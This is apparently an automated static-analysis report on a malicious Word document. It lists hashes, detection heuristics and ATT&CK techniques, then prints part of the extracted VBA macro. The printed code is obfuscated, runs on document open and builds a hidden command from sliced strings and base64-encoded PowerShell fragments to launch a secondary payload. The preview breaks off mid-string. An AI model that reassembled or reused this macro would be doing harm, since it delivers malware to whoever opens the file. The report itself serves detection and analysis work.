Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 892eefa7aac129ef…

MALICIOUS

Office (OLE)

80.0 KB Created: 2017-10-19 05:44:00 Authoring application: Microsoft Office Word First seen: 2017-10-28
MD5: 677d0660d188ac69db0e2e17229df292 SHA-1: 0d6a57c37cde0e73f44d9feaa7a437aeceeeb2f0 SHA-256: 892eefa7aac129ef51ce8a6ce02a74ebc60864a1bf91e4fb8e90632c661a1bb8
244 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The macro utilizes the AutoOpen function and a Shell() call, indicating an intent to execute arbitrary code. This is further supported by ClamAV detection for 'Doc.Macro.Obfuscation'. The macro's obfuscated nature and the presence of a VBA file suggest it is designed to download and execute a secondary payload.

Heuristics 8

  • ClamAV: Doc.Macro.Obfuscation-6355576-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6355576-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 15590 bytes
SHA-256: b13a483280e1a3d46fa7d0cc533a5b45c4eb68ee197cb0d1221790607bd23ba6
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 37 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Function ZjHtRjIzp()
SoOqrK = "KS8PF6YvsJjacQqbRCFKAMnhiGXVGoUnHCvilTNKmMJvdiSDuEsUdaisqqjsDD8IIR"
wOZYphKiYZ = Mid(SoOqrK, 7, 56)
WWRjVQj = wOZYphKiYZ
crlSzGQB = "M201PdNhlWVKuZVEqBdNztXqAhoFHWUJPVvDIFJfTqmCotErZajXuoPMSVYBoIaPCLuYdRwlswtHGVCHdzfjnwObFjkmhHqKPXAcwfNHiwfwuIFwTQNV9DGL3EGS290YOP1H4F"
fAtVDwvKzZD = Mid(crlSzGQB, 6, 109)
votMjfp = fAtVDwvKzZD
jDsFRa = "C3Y20QQTHV57BNBCU9CaufwLhEhsPWPZdCldGwwBECiBGuoizNaaNiBNMPUTjLjMEHaKKzuVvqWrzwFmPDuCwpMzAYQrifS9Y264"
bzizFwuD = Mid(jDsFRa, 20, 76)
FTiBJNr = bzizFwuD
TbdiSp = "H8HQHF2OPPToEosSZUMqzovYoDrEAoUaCvAKhYCnukVGjXFHkQtiiOvjiBqpwmiDjcmIoilBRYvNSopQwkUkvlsoATcfhMoIBRWGlwSBirRJSiNtMarORwIzkwIUGFTEjnLARifBRSFDUiVSFiTHVaqCJZVmnwuZXMZiWMbdvpzztEdCcqOYmMjJwIrsNsOTYffHIqvsGpMfdrIEvTKwjWmLdQiNViQDbdaNYVtmvVRwzEjFznzthRjBsUisIhXYZJDzQufaZYBNFpLZjT2"
TGlXlz = Mid(TbdiSp, 12, 262)
mETLmI = TGlXlz
GLZff = "GXDQXXVSowtBiYOBqcjimFHCaVGtUwqcVVvDFRGNXMPiSdsCNazjfHWZSnPiOGIrHQjIcLwYWVHZqdkzdDjuwJzNwWlRCXzREXWBwjaCdZKKAwioDRFLZNszTSKFZiVwWpVTGiAtcdQZzmMBowOlSnrqiZiiZVczEMnKbPiUQMivzTwjGIRdQkfiwfohAWTHBRVmzBaYOtUGFvtLaBXRDwiTjEMwaATtsFP"
RnzYOMQk = Mid(GLZff, 9, 217)
PGIfz = RnzYOMQk
YtvCKhPjpX = "ZIEL962CfMCREvnpNUIoLdsdEAJXCJwLDVOLoSIiGpjulGjWJBkmqUNWrhJjIPhVNrOihbAvLahVtzszUnOAYMUiHrUHIYZqIOjuszphBpaQmsdtoMPVBjwBWjaqHtnmBrNfRwFWwjzjmEvPNaSvJEobRfXMWwa7GJQ9MYWXIU4FJQK8TGHR19IB0"
rKChUtbVJw = Mid(YtvCKhPjpX, 9, 151)
GBLfREirFO = rKChUtbVJw
VKVwFrPjH = "OCC99QJYrdtcFwTTuhKEkHirjVZJzjXCoRSjzdoTQjzhWuufiMSaTuuoLQVbtHbHGqnninVRsqoBIBVoaufkQwiuXdUhHMZIIrbjHGBrrBhdGtjKvhBzcqqJHsQASoJfRftQaohTtosOOFoiwKmaLajRARYPpAYDsBLazQjGzhFozbuBDmEHCjUqwbPIQSdtPpWMuNijafaiUsTZXWLDvQBIhVcYBbphDMYHFiHqIYjWIqVGHqltHazwoNiZlFizptaITMUoPUuXjiArzVRJM8POGXRZ8KP91VEBGAYQSE1XJY654XZ"
DwUNUGrwqj = Mid(VKVwFrPjH, 8, 268)
ciWqZbPW = DwUNUGrwqj
wqvCKq = "NDGC0XRCSlhNFHiDpwQQzATCWVCMXzBwrczwXrpUduKwPKSQzaaBzvXOfiPsjklSkjVdHjjzGvmCpWmMDmNzZzzwElTpcwlsJrLjooIPudvDIUZIvDpwWotljZYWPqVJKutzLGXPdzCvDvokMLuYHoVVwZwOPmAEHltNbbzofaSZlzhokoJEwwCVYXzlJIzrzwnSCbJkOFshVwjAsIibcvILjXoDcLiWabbnJPmJfZqqEVAcJOL9FXXYY09WELVUS3KGHDBRI87L"
pZUbUXv = Mid(wqvCKq, 9, 232)
OjiIIBWCM = pZUbUXv
niVBGBPk = "O4PXZKqwadOaTrDiEDthjPPNmvWwimjaOJNnZQoUItSzttscljQqiCwlcliVotSozoLJdPIoOZYmwSUtCtKwVpvMKbLohSfPbizEhjwVXccFdLoJRpTujTSHtzwBEUGwtJLSSPLSuoasNqjwnBXszkjHLsLilwQDVfMTAWqBdAAutZuCPzODzOzIdEGaDdhzYXXhiQwQLVOwklOlzJFK7A9P00U3RPFW77X1THPVLT"
HCiPrBbPi = Mid(niVBGBPk, 6, 205)
jDuptBPwfK = HCiPrBbPi
jtKpX = "XsTWwzTiTATEfWHJQQKhDjQhPPvbJlhDqPYdYazGSkjujrJprrIAjwblclHhDsViTPOPzdlqQEOSwWwXFFjSdjWtomBmSSCaPBaTdurNFRjciIpFnjcwIDEmtUaKbzXwBoDvviuLOWMLwtLjzwwjqERMwoaITjlGulauFtKIoQjmqspzJuMfAnIzWrwHEmrhkFQLSRbEmpuZUfVDwazZTGGHddXOvCECZCCkbijrTItKsidrVuIimSNizJhptNJjlszSclcUtHFLMvOuAjsAuaPHoYkSwrzGzJZAjLOkSnk27J9CNVORL6XSJ7BOBSKZKQS9TLUO6V6"
zGZaVWZIZK = Mid(jtKpX, 2, 298)
mIIMQKjJ = zGZaVWZIZK
ldfYLFNsR = "2PADPE9QoaTbonvLZR0RTN2XT2TLVG9CHCKKC91D"
qPpRv = Mid(ldfYLFNsR, 8, 9)
djJcmSss = qPpRv
UuqiBO = "HBR6IBCFIzzGiUTcHTJStzsXGaiVGwWdOQwMfEinwuhPaWPomihzSwvdbEiMMpzJcWsRVGwCpVVzPcwjKujXQZKPVVlbWRbHuYmDdwSfmfIzdvNwHwCSGbsDMdvAVUjXuOErqtFLbEklQNlZHnTXOIASfirACSJRzkCPrWIOsqrBrHnwrVshBIIlNlLHBFJIuTljKWilfFiXRzbUQR4"
PojVNRjZB = Mid(UuqiBO, 8, 200)
TlmVchWBEPq = PojVNRjZB
djJcmSss TlmVchWBEPq + WWRjVQj + mETLmI + votMjfp + ciWqZbPW + jDuptBPwfK + OjiIIBWCM + PGIfz + FTiBJNr + mIIMQKjJ + GBLfREirFO
End Function
Function AksatnGwi()
OGSPkttmXDM = "HBGB2BUFKJ2MPY750ML3LS6G3NBX27SXFTXNNwA3ACAALAAgADEAMAAxACwAMQAxADUAIAAsADEAMQA1ACAALAAgADkANwAsACAAMQAwADMALAAxADAAMQAsADUAOQAsACAAMQAyADUAIAAsACAIG"
JQzWtLQLNFq = Mid(OGSPkttmXDM, 37, 111)
LDlJWdzt = JQzWtLQLNFq
zizGfs = "Q6TTAMQAyADUAKQAgAHwAIAAlACAAewAoAFsAaQBuAHQAXQAgACQAXwAgAC0AQQBTAFsAYwBIAGEAUgBdACkAfQApAHwALgAgACgAIAAkAGUAbgBWADoAcABVAEIATABJAEMAWwAxADMAXQA
... (truncated)

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